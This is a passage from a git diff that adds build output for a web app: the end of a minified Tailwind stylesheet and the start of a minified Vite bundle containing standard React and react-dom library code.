1))}.hover\:bg-red-500\/10:hover{background-color:#ef44441a}.hover\:bg-red-500\/15:hover{background-color:#ef444426}.hover\:bg-red-500\/20:hover{background-color:#ef444433}.hover\:bg-red-600:hover{--tw-bg-opacity: 1;background-color:rgb(220 38 38 / var(--tw-bg-opacity, 1))}.hover\:bg-white\/10:hover{background-color:#ffffff1a}.hover\:bg-zerin-accent-hover:hover{--tw-bg-opacity: 1;background-color:rgb(34 211 238 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-accent-muted:hover,.hover\:bg-zerin-accent\/10:hover{background-color:#06b6d41a}.hover\:bg-zerin-accent\/15:hover{background-color:#06b6d426}.hover\:bg-zerin-accent\/20:hover{background-color:#06b6d433}.hover\:bg-zerin-accent\/90:hover{background-color:#06b6d4e6}.hover\:bg-zerin-bg:hover{--tw-bg-opacity: 1;background-color:rgb(9 9 11 / var(--tw-bg-opacity, 1))}.hover\:bg-zerin-danger-dim:hover{background-color:#ef444414}.hover\:bg-zerin-danger\/20:hover{background-color:#ef444433}.hover\:bg-zerin-panel-hover:hover{--tw-bg-opacity: 1;background-color:rgb(24 24 27 / var(--tw-bg-opacity, 1))}.hover\:bg-zinc-700:hover{--tw-bg-opacity: 1;background-color:rgb(63 63 70 / var(--tw-bg-opacity, 1))}.hover\:text-amber-400:hover{--tw-text-opacity: 1;color:rgb(251 191 36 / var(--tw-text-opacity, 1))}.hover\:text-orange-300:hover{--tw-text-opacity: 1;color:rgb(253 186 116 / var(--tw-text-opacity, 1))}.hover\:text-red-200:hover{--tw-text-opacity: 1;color:rgb(254 202 202 / var(--tw-text-opacity, 1))}.hover\:text-red-300:hover{--tw-text-opacity: 1;color:rgb(252 165 165 / var(--tw-text-opacity, 1))}.hover\:text-red-400:hover{--tw-text-opacity: 1;color:rgb(248 113 113 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent:hover{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent-hover:hover{--tw-text-opacity: 1;color:rgb(34 211 238 / var(--tw-text-opacity, 1))}.hover\:text-zerin-accent\/80:hover{color:#06b6d4cc}.hover\:text-zerin-danger:hover{--tw-text-opacity: 1;color:rgb(239 68 68 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text:hover{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-dim:hover{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.hover\:text-zerin-text-muted:hover{--tw-text-opacity: 1;color:rgb(82 82 91 / var(--tw-text-opacity, 1))}.hover\:opacity-60:hover{opacity:.6}.hover\:opacity-80:hover{opacity:.8}.hover\:shadow-\[0_0_20px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 20px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 20px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_30px_rgba\(6\,182\,212\,0\.3\)\]:hover{--tw-shadow: 0 0 30px rgba(6,182,212,.3);--tw-shadow-colored: 0 0 30px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.hover\:shadow-\[0_0_40px_rgba\(6\,182\,212\,0\.25\)\]:hover{--tw-shadow: 0 0 40px rgba(6,182,212,.25);--tw-shadow-colored: 0 0 40px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow, 0 0 #0000),var(--tw-ring-shadow, 0 0 #0000),var(--tw-shadow)}.focus\:border-\[\#10b981\]\/30:focus{border-color:#10b9814d}.focus\:border-\[\#8b5cf6\]\/30:focus{border-color:#8b5cf64d}.focus\:border-\[\#f59e0b\]\/30:focus{border-color:#f59e0b4d}.focus\:border-zerin-accent:focus{--tw-border-opacity: 1;border-color:rgb(6 182 212 / var(--tw-border-opacity, 1))}.focus\:border-zerin-accent\/30:focus{border-color:#06b6d44d}.focus\:border-zerin-accent\/50:focus{border-color:#06b6d480}.focus\:border-zerin-danger:focus{--tw-border-opacity: 1;border-color:rgb(239 68 68 / var(--tw-border-opacity, 1))}.focus\:outline-none:focus{outline:2px solid transparent;outline-offset:2px}.focus\:ring-1:focus{--tw-ring-offset-shadow: var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow: var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow, 0 0 #0000)}.focus\:ring-zerin-accent\/20:focus{--tw-ring-color: rgb(6 182 212 / .2)}.focus\:ring-zerin-accent\/30:focus{--tw-ring-color: rgb(6 182 212 / .3)}.focus\:ring-zerin-danger\/20:focus{--tw-ring-color: rgb(239 68 68 / .2)}.disabled\:cursor-not-allowed:disabled{cursor:not-allowed}.disabled\:cursor-wait:disabled{cursor:wait}.disabled\:opacity-30:disabled{opacity:.3}.disabled\:opacity-40:disabled{opacity:.4}.disabled\:opacity-50:disabled{opacity:.5}.group:hover .group-hover\:w-4{width:1rem}.group:hover .group-hover\:w-full{width:100%}.group\/btn:hover .group-hover\/btn\:translate-x-full,.group:hover .group-hover\:translate-x-full{--tw-translate-x: 100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:scale-\[1\.02\]{--tw-scale-x: 1.02;--tw-scale-y: 1.02;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.group:hover .group-hover\:border-zerin-accent\/20{border-color:#06b6d433}.group:hover .group-hover\:border-zerin-accent\/30{border-color:#06b6d44d}.group:hover .group-hover\:border-zerin-accent\/50{border-color:#06b6d480}.group:hover .group-hover\:bg-zerin-accent{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.group:hover .group-hover\:bg-zerin-text-muted\/60{background-color:#52525b99}.group:hover .group-hover\:text-zerin-accent{--tw-text-opacity: 1;color:rgb(6 182 212 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text{--tw-text-opacity: 1;color:rgb(250 250 250 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:text-zerin-text-dim{--tw-text-opacity: 1;color:rgb(161 161 170 / var(--tw-text-opacity, 1))}.group:hover .group-hover\:opacity-100{opacity:1}@media (min-width: 640px){.sm\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.sm\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.sm\:text-5xl{font-size:3rem;line-height:1}.sm\:text-6xl{font-size:3.75rem;line-height:1}.sm\:text-sm{font-size:.875rem;line-height:1.25rem}}@media (min-width: 768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-B9OiHrjj.js b/dist/assets/index-B9OiHrjj.js new file mode 100755 index 0000000..5a450ef --- /dev/null +++ b/dist/assets/index-B9OiHrjj.js @@ -0,0 +1,448 @@ +var cS=Object.defineProperty;var uS=(e,t,n)=>t in e?cS(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var Cf=(e,t,n)=>uS(e,typeof t!="symbol"?t+"":t,n);function dS(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const s of i)if(s.type==="childList")for(const o of s.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const s={};return i.integrity&&(s.integrity=i.integrity),i.referrerPolicy&&(s.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?s.credentials="include":i.crossOrigin==="anonymous"?s.credentials="omit":s.credentials="same-origin",s}function r(i){if(i.ep)return;i.ep=!0;const s=n(i);fetch(i.href,s)}})();function Wr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var Q2={exports:{}},Yu={},J2={exports:{}},Se={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var Qo=Symbol.for("react.element"),fS=Symbol.for("react.portal"),mS=Symbol.for("react.fragment"),pS=Symbol.for("react.strict_mode"),hS=Symbol.for("react.profiler"),xS=Symbol.for("react.provider"),vS=Symbol.for("react.context"),gS=Symbol.for("react.forward_ref"),yS=Symbol.for("react.suspense"),bS=Symbol.for("react.memo"),wS=Symbol.for("react.lazy"),Av=Symbol.iterator;function jS(e){return e===null||typeof e!="object"?null:(e=Av&&e[Av]||e["@@iterator"],typeof e=="function"?e:null)}var ew={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},tw=Object.assign,nw={};function ms(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}ms.prototype.isReactComponent={};ms.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};ms.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function rw(){}rw.prototype=ms.prototype;function Ch(e,t,n){this.props=e,this.context=t,this.refs=nw,this.updater=n||ew}var Ph=Ch.prototype=new rw;Ph.constructor=Ch;tw(Ph,ms.prototype);Ph.isPureReactComponent=!0;var Ov=Array.isArray,iw=Object.prototype.hasOwnProperty,Eh={current:null},aw={key:!0,ref:!0,__self:!0,__source:!0};function sw(e,t,n){var r,i={},s=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(s=""+t.key),t)iw.call(t,r)&&!aw.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,Z=$[K];if(0>>1;Ki(we,B))yei(G,we)?($[K]=G,$[ye]=B,K=ye):($[K]=we,$[de]=B,K=de);else if(yei(G,B))$[K]=G,$[ye]=B,K=ye;else break e}}return U}function i($,U){var B=$.sortIndex-U.sortIndex;return B!==0?B:$.id-U.id}if(typeof performance=="object"&&typeof performance.now=="function"){var s=performance;e.unstable_now=function(){return s.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,p=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w($){for(var U=n(u);U!==null;){if(U.callback===null)r(u);else if(U.startTime<=$)r(u),U.sortIndex=U.expirationTime,t(c,U);else break;U=n(u)}}function j($){if(g=!1,w($),!x)if(n(c)!==null)x=!0,M(N);else{var U=n(u);U!==null&&W(j,U.startTime-$)}}function N($,U){x=!1,g&&(g=!1,v(S),S=-1),h=!0;var B=p;try{for(w(U),f=n(c);f!==null&&(!(f.expirationTime>U)||$&&!O());){var K=f.callback;if(typeof K=="function"){f.callback=null,p=f.priorityLevel;var Z=K(f.expirationTime<=U);U=e.unstable_now(),typeof Z=="function"?f.callback=Z:f===n(c)&&r(c),w(U)}else r(c);f=n(c)}if(f!==null)var le=!0;else{var de=n(u);de!==null&&W(j,de.startTime-U),le=!1}return le}finally{f=null,p=B,h=!1}}var k=!1,z=null,S=-1,A=5,_=-1;function O(){return!(e.unstable_now()-_$||125<$?console.error("forceFrameRate takes a positive int between 0 and 125, forcing frame rates higher than 125 fps is not supported"):A=0<$?Math.floor(1e3/$):5},e.unstable_getCurrentPriorityLevel=function(){return p},e.unstable_getFirstCallbackNode=function(){return n(c)},e.unstable_next=function($){switch(p){case 1:case 2:case 3:var U=3;break;default:U=p}var B=p;p=U;try{return $()}finally{p=B}},e.unstable_pauseExecution=function(){},e.unstable_requestPaint=function(){},e.unstable_runWithPriority=function($,U){switch($){case 1:case 2:case 3:case 4:case 5:break;default:$=3}var B=p;p=$;try{return U()}finally{p=B}},e.unstable_scheduleCallback=function($,U,B){var K=e.unstable_now();switch(typeof B=="object"&&B!==null?(B=B.delay,B=typeof B=="number"&&0K?($.sortIndex=B,t(u,$),n(c)===null&&$===n(u)&&(g?(v(S),S=-1):g=!0,W(j,B-K))):($.sortIndex=Z,t(c,$),x||h||(x=!0,M(N))),$},e.unstable_shouldYield=O,e.unstable_wrapCallback=function($){var U=p;return function(){var B=p;p=U;try{return $.apply(this,arguments)}finally{p=B}}}})(fw);dw.exports=fw;var TS=dw.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var MS=m,pn=TS;function J(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Lm=Object.prototype.hasOwnProperty,LS=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,Mv={},Lv={};function IS(e){return Lm.call(Lv,e)?!0:Lm.call(Mv,e)?!1:LS.test(e)?Lv[e]=!0:(Mv[e]=!0,!1)}function DS(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function RS(e,t,n,r){if(t===null||typeof t>"u"||DS(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Kt(e,t,n,r,i,s,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=s,this.removeEmptyString=o}var Tt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Tt[e]=new Kt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Tt[t]=new Kt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Tt[e]=new Kt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Tt[e]=new Kt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Tt[e]=new Kt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Tt[e]=new Kt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Tt[e]=new Kt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Tt[e]=new Kt(e,5,!1,e.toLowerCase(),null,!1,!1)});var Oh=/[\-:]([a-z])/g;function Th(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(Oh,Th);Tt[t]=new Kt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!1,!1)});Tt.xlinkHref=new Kt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Tt[e]=new Kt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Mh(e,t,n,r){var i=Tt.hasOwnProperty(t)?Tt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==s[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{_f=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Zs(e):""}function $S(e){switch(e.tag){case 5:return Zs(e.type);case 16:return Zs("Lazy");case 13:return Zs("Suspense");case 19:return Zs("SuspenseList");case 0:case 2:case 15:return e=Af(e.type,!1),e;case 11:return e=Af(e.type.render,!1),e;case 1:return e=Af(e.type,!0),e;default:return""}}function $m(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case Ea:return"Fragment";case Pa:return"Portal";case Im:return"Profiler";case Lh:return"StrictMode";case Dm:return"Suspense";case Rm:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case hw:return(e.displayName||"Context")+".Consumer";case pw:return(e._context.displayName||"Context")+".Provider";case Ih:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Dh:return t=e.displayName||null,t!==null?t:$m(e.type)||"Memo";case ti:t=e._payload,e=e._init;try{return $m(e(t))}catch{}}return null}function BS(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return $m(t);case 8:return t===Lh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function Ni(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function vw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function FS(e){var t=vw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,s=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,s.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function zl(e){e._valueTracker||(e._valueTracker=FS(e))}function gw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=vw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function Cc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Bm(e,t){var n=t.checked;return Ze({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Dv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=Ni(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function yw(e,t){t=t.checked,t!=null&&Mh(e,"checked",t,!1)}function Fm(e,t){yw(e,t);var n=Ni(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Wm(e,t.type,n):t.hasOwnProperty("defaultValue")&&Wm(e,t.type,Ni(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Rv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Wm(e,t,n){(t!=="number"||Cc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Qs=Array.isArray;function Ua(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=Sl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function ho(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var io={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},WS=["Webkit","ms","Moz","O"];Object.keys(io).forEach(function(e){WS.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),io[t]=io[e]})});function Nw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||io.hasOwnProperty(e)&&io[e]?(""+t).trim():t+"px"}function kw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=Nw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var US=Ze({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Hm(e,t){if(t){if(US[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(J(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(J(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(J(61))}if(t.style!=null&&typeof t.style!="object")throw Error(J(62))}}function Km(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ym=null;function Rh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var qm=null,Va=null,Ha=null;function Fv(e){if(e=tl(e)){if(typeof qm!="function")throw Error(J(280));var t=e.stateNode;t&&(t=Qu(t),qm(e.stateNode,e.type,t))}}function zw(e){Va?Ha?Ha.push(e):Ha=[e]:Va=e}function Sw(){if(Va){var e=Va,t=Ha;if(Ha=Va=null,Fv(e),t)for(e=0;e>>=0,e===0?32:31-(eC(e)/tC|0)|0}var Cl=64,Pl=4194304;function Js(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function Ac(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,s=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Js(l):(s&=o,s!==0&&(r=Js(s)))}else 